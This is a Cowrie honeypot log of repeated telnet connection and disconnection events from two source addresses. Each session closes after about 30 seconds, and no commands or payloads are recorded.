{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42358,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a0c5f1ded49","protocol":"telnet","message":"New connection: 208.115.200.90:42358 (10.17.0.5:23) [session: 4a0c5f1ded49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:13.230908Z"}
{"eventid":"cowrie.session.closed","duration":30.750926971435547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:13.236683Z","src_ip":"208.115.200.90","session":"307bdb5ef106","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71230673789978,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:13.298927Z","src_ip":"208.115.200.90","session":"03662b08bee9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.029644012451172,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:13.370753Z","src_ip":"208.115.219.122","session":"713f382bdc7a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42366,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9a264668ccb","protocol":"telnet","message":"New connection: 208.115.200.90:42366 (10.17.0.5:23) [session: b9a264668ccb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:13.377018Z"}
{"eventid":"cowrie.session.closed","duration":31.224304914474487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:13.558106Z","src_ip":"208.115.219.122","session":"1d370d01a0bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.90429401397705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:14.078437Z","src_ip":"208.115.219.122","session":"1851a0bc9f03","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42424,"dst_ip":"10.17.0.5","dst_port":23,"session":"354fcafd0727","protocol":"telnet","message":"New connection: 208.115.200.90:42424 (10.17.0.5:23) [session: 354fcafd0727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:14.118556Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42426,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed807eab9628","protocol":"telnet","message":"New connection: 208.115.200.90:42426 (10.17.0.5:23) [session: ed807eab9628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:14.170008Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42008,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce7410a93590","protocol":"telnet","message":"New connection: 208.115.200.90:42008 (10.17.0.5:23) [session: ce7410a93590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:14.182692Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42438,"dst_ip":"10.17.0.5","dst_port":23,"session":"c448ac4c495f","protocol":"telnet","message":"New connection: 208.115.200.90:42438 (10.17.0.5:23) [session: c448ac4c495f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:14.306714Z"}
{"eventid":"cowrie.session.closed","duration":31.287951469421387,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:14.312873Z","src_ip":"208.115.200.90","session":"88db6a2346bd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.208114862442017,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:14.332540Z","src_ip":"208.115.200.90","session":"0c2ba9b5f7a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24037790298462,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:14.341447Z","src_ip":"208.115.200.90","session":"1442f0bd996d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33878,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a960bb81b46","protocol":"telnet","message":"New connection: 208.115.200.90:33878 (10.17.0.5:23) [session: 0a960bb81b46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:14.447816Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42404,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a029db0f300","protocol":"telnet","message":"New connection: 208.115.200.90:42404 (10.17.0.5:23) [session: 8a029db0f300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:14.630766Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":42060,"dst_ip":"10.17.0.5","dst_port":23,"session":"260591d0029c","protocol":"telnet","message":"New connection: 208.115.200.90:42060 (10.17.0.5:23) [session: 260591d0029c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:14.759395Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33936,"dst_ip":"10.17.0.5","dst_port":23,"session":"b09b3e720da1","protocol":"telnet","message":"New connection: 208.115.200.90:33936 (10.17.0.5:23) [session: b09b3e720da1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:14.894050Z"}
{"eventid":"cowrie.session.closed","duration":31.585431814193726,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:14.900877Z","src_ip":"208.115.200.90","session":"b8dd4ff30593","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58338165283203,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:14.986014Z","src_ip":"208.115.200.90","session":"e5ab4bdd77cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.15201473236084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:15.031376Z","src_ip":"208.115.219.122","session":"d3dfb9d07e88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":43386,"dst_ip":"10.17.0.5","dst_port":23,"session":"79a4b80451d8","protocol":"telnet","message":"New connection: 208.115.219.122:43386 (10.17.0.5:23) [session: 79a4b80451d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:15.104918Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33938,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bdc527a2666","protocol":"telnet","message":"New connection: 208.115.200.90:33938 (10.17.0.5:23) [session: 0bdc527a2666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:15.123160Z"}
{"eventid":"cowrie.session.closed","duration":30.707751035690308,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:15.201396Z","src_ip":"208.115.200.90","session":"a4dc438406e0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.090451955795288,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:15.208258Z","src_ip":"208.115.200.90","session":"f6dc35186418","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33960,"dst_ip":"10.17.0.5","dst_port":23,"session":"393a9bafb69b","protocol":"telnet","message":"New connection: 208.115.200.90:33960 (10.17.0.5:23) [session: 393a9bafb69b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:15.282942Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33972,"dst_ip":"10.17.0.5","dst_port":23,"session":"04665eab271a","protocol":"telnet","message":"New connection: 208.115.200.90:33972 (10.17.0.5:23) [session: 04665eab271a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:15.340602Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34040,"dst_ip":"10.17.0.5","dst_port":23,"session":"316da08e8071","protocol":"telnet","message":"New connection: 208.115.200.90:34040 (10.17.0.5:23) [session: 316da08e8071]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:15.443019Z"}
{"eventid":"cowrie.session.closed","duration":31.316516160964966,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:15.561912Z","src_ip":"208.115.200.90","session":"2c816c282267","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34108,"dst_ip":"10.17.0.5","dst_port":23,"session":"30431470e36a","protocol":"telnet","message":"New connection: 208.115.200.90:34108 (10.17.0.5:23) [session: 30431470e36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:15.632699Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34156,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ee476d21988","protocol":"telnet","message":"New connection: 208.115.200.90:34156 (10.17.0.5:23) [session: 2ee476d21988]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:15.857521Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":43466,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2d86e9d5aef","protocol":"telnet","message":"New connection: 208.115.219.122:43466 (10.17.0.5:23) [session: d2d86e9d5aef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:16.025637Z"}
{"eventid":"cowrie.session.closed","duration":30.989312410354614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:16.148659Z","src_ip":"208.115.200.90","session":"320ec05c76c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73755955696106,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:16.165821Z","src_ip":"208.115.219.122","session":"da21e3b75a78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.27215075492859,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:16.170704Z","src_ip":"208.115.200.90","session":"8c12d5e282f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34168,"dst_ip":"10.17.0.5","dst_port":23,"session":"e27184f41ceb","protocol":"telnet","message":"New connection: 208.115.200.90:34168 (10.17.0.5:23) [session: e27184f41ceb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:16.175514Z"}
{"eventid":"cowrie.session.closed","duration":30.81326150894165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:16.195410Z","src_ip":"208.115.200.90","session":"b6484790bec6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.28996515274048,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:16.359553Z","src_ip":"208.115.219.122","session":"71d5668e35af","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.761090755462646,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:16.382472Z","src_ip":"208.115.200.90","session":"4d30dbf5f86a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34170,"dst_ip":"10.17.0.5","dst_port":23,"session":"384a851923cc","protocol":"telnet","message":"New connection: 208.115.200.90:34170 (10.17.0.5:23) [session: 384a851923cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:16.440428Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34054,"dst_ip":"10.17.0.5","dst_port":23,"session":"98983b83c47f","protocol":"telnet","message":"New connection: 208.115.200.90:34054 (10.17.0.5:23) [session: 98983b83c47f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:16.490517Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34230,"dst_ip":"10.17.0.5","dst_port":23,"session":"e222ebd5b36a","protocol":"telnet","message":"New connection: 208.115.200.90:34230 (10.17.0.5:23) [session: e222ebd5b36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:16.626059Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34246,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a803bac8d13","protocol":"telnet","message":"New connection: 208.115.200.90:34246 (10.17.0.5:23) [session: 7a803bac8d13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:16.676313Z"}
{"eventid":"cowrie.session.closed","duration":31.56493878364563,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:16.885726Z","src_ip":"208.115.200.90","session":"f89fd7592d99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":43494,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed419a5fe8a9","protocol":"telnet","message":"New connection: 208.115.219.122:43494 (10.17.0.5:23) [session: ed419a5fe8a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:17.042350Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":43508,"dst_ip":"10.17.0.5","dst_port":23,"session":"2b59d6857d4c","protocol":"telnet","message":"New connection: 208.115.219.122:43508 (10.17.0.5:23) [session: 2b59d6857d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:17.069164Z"}
{"eventid":"cowrie.session.closed","duration":30.646031379699707,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:17.166249Z","src_ip":"208.115.200.90","session":"31daba471969","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.369910717010498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:17.218868Z","src_ip":"208.115.219.122","session":"ac0ec4c6ac2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34334,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a2b695d8935","protocol":"telnet","message":"New connection: 208.115.200.90:34334 (10.17.0.5:23) [session: 3a2b695d8935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:17.350366Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34342,"dst_ip":"10.17.0.5","dst_port":23,"session":"036ca6c5fb7d","protocol":"telnet","message":"New connection: 208.115.200.90:34342 (10.17.0.5:23) [session: 036ca6c5fb7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:17.649895Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34344,"dst_ip":"10.17.0.5","dst_port":23,"session":"49190659637d","protocol":"telnet","message":"New connection: 208.115.200.90:34344 (10.17.0.5:23) [session: 49190659637d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:17.727450Z"}
{"eventid":"cowrie.session.closed","duration":31.34204649925232,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:17.768810Z","src_ip":"208.115.200.90","session":"f8d4be3c2cda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":43520,"dst_ip":"10.17.0.5","dst_port":23,"session":"ae59cca89290","protocol":"telnet","message":"New connection: 208.115.219.122:43520 (10.17.0.5:23) [session: ae59cca89290]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:17.815770Z"}
{"eventid":"cowrie.session.closed","duration":31.71498203277588,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:17.847063Z","src_ip":"208.115.219.122","session":"3aee51c79859","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.842811346054077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:18.017667Z","src_ip":"208.115.200.90","session":"a656d7508bbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34346,"dst_ip":"10.17.0.5","dst_port":23,"session":"476a0070d1e0","protocol":"telnet","message":"New connection: 208.115.200.90:34346 (10.17.0.5:23) [session: 476a0070d1e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:18.023508Z"}
{"eventid":"cowrie.session.closed","duration":30.687786102294922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:18.033835Z","src_ip":"208.115.219.122","session":"ef654a6ee1b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":43528,"dst_ip":"10.17.0.5","dst_port":23,"session":"b2f874d6546c","protocol":"telnet","message":"New connection: 208.115.219.122:43528 (10.17.0.5:23) [session: b2f874d6546c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:18.043647Z"}
{"eventid":"cowrie.session.closed","duration":30.7590651512146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:18.218924Z","src_ip":"208.115.200.90","session":"fd9480e5f4a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34376,"dst_ip":"10.17.0.5","dst_port":23,"session":"62d03489d1d2","protocol":"telnet","message":"New connection: 208.115.200.90:34376 (10.17.0.5:23) [session: 62d03489d1d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:18.290192Z"}
{"eventid":"cowrie.session.closed","duration":31.080192804336548,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:18.330184Z","src_ip":"208.115.200.90","session":"7a74b5bf4f89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34390,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4e991b24d8e","protocol":"telnet","message":"New connection: 208.115.200.90:34390 (10.17.0.5:23) [session: a4e991b24d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:18.352351Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34398,"dst_ip":"10.17.0.5","dst_port":23,"session":"c015fbf1c7e3","protocol":"telnet","message":"New connection: 208.115.200.90:34398 (10.17.0.5:23) [session: c015fbf1c7e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:18.389564Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":43546,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8a523189ac4","protocol":"telnet","message":"New connection: 208.115.219.122:43546 (10.17.0.5:23) [session: c8a523189ac4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:18.480903Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":43554,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb13b91b4c46","protocol":"telnet","message":"New connection: 208.115.219.122:43554 (10.17.0.5:23) [session: fb13b91b4c46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:18.579983Z"}
{"eventid":"cowrie.session.closed","duration":31.544623613357544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:18.926048Z","src_ip":"208.115.200.90","session":"ccf4eac42f47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74637460708618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:19.018589Z","src_ip":"208.115.219.122","session":"13feaecb6db6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.12839937210083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:19.060380Z","src_ip":"208.115.200.90","session":"d76c2c11b351","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.844293355941772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:19.101246Z","src_ip":"208.115.200.90","session":"a209cc359202","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00644278526306,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:19.239149Z","src_ip":"208.115.200.90","session":"ba56ee69322e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.772493362426758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:19.334121Z","src_ip":"208.115.200.90","session":"be495525885b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.374897241592407,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:19.351577Z","src_ip":"208.115.200.90","session":"17afa46c1280","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34424,"dst_ip":"10.17.0.5","dst_port":23,"session":"97a28b15a099","protocol":"telnet","message":"New connection: 208.115.200.90:34424 (10.17.0.5:23) [session: 97a28b15a099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:19.365799Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34426,"dst_ip":"10.17.0.5","dst_port":23,"session":"e29421c8511d","protocol":"telnet","message":"New connection: 208.115.200.90:34426 (10.17.0.5:23) [session: e29421c8511d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:19.493036Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34460,"dst_ip":"10.17.0.5","dst_port":23,"session":"75d568a09b0a","protocol":"telnet","message":"New connection: 208.115.200.90:34460 (10.17.0.5:23) [session: 75d568a09b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:19.795079Z"}
{"eventid":"cowrie.session.closed","duration":30.673560857772827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:20.152958Z","src_ip":"208.115.200.90","session":"1ab01f0ec9d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.256267786026,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:20.200899Z","src_ip":"208.115.200.90","session":"aff8dbb4409b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34534,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b8edd75c527","protocol":"telnet","message":"New connection: 208.115.200.90:34534 (10.17.0.5:23) [session: 5b8edd75c527]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:20.228794Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34548,"dst_ip":"10.17.0.5","dst_port":23,"session":"37868c1f23bc","protocol":"telnet","message":"New connection: 208.115.200.90:34548 (10.17.0.5:23) [session: 37868c1f23bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:20.252563Z"}
{"eventid":"cowrie.session.closed","duration":30.95381498336792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:20.271047Z","src_ip":"208.115.200.90","session":"e99e04dba49d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":34560,"dst_ip":"10.17.0.5","dst_port":23,"session":"7446dd5017a4","protocol":"telnet","message":"New connection: 208.115.200.90:34560 (10.17.0.5:23) [session: 7446dd5017a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:20.311445Z"}
{"eventid":"cowrie.session.closed","duration":31.382791757583618,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:17:20.494094Z","src_ip":"208.115.200.90","session":"9a4c67f301c7","protocol":"telnet"}
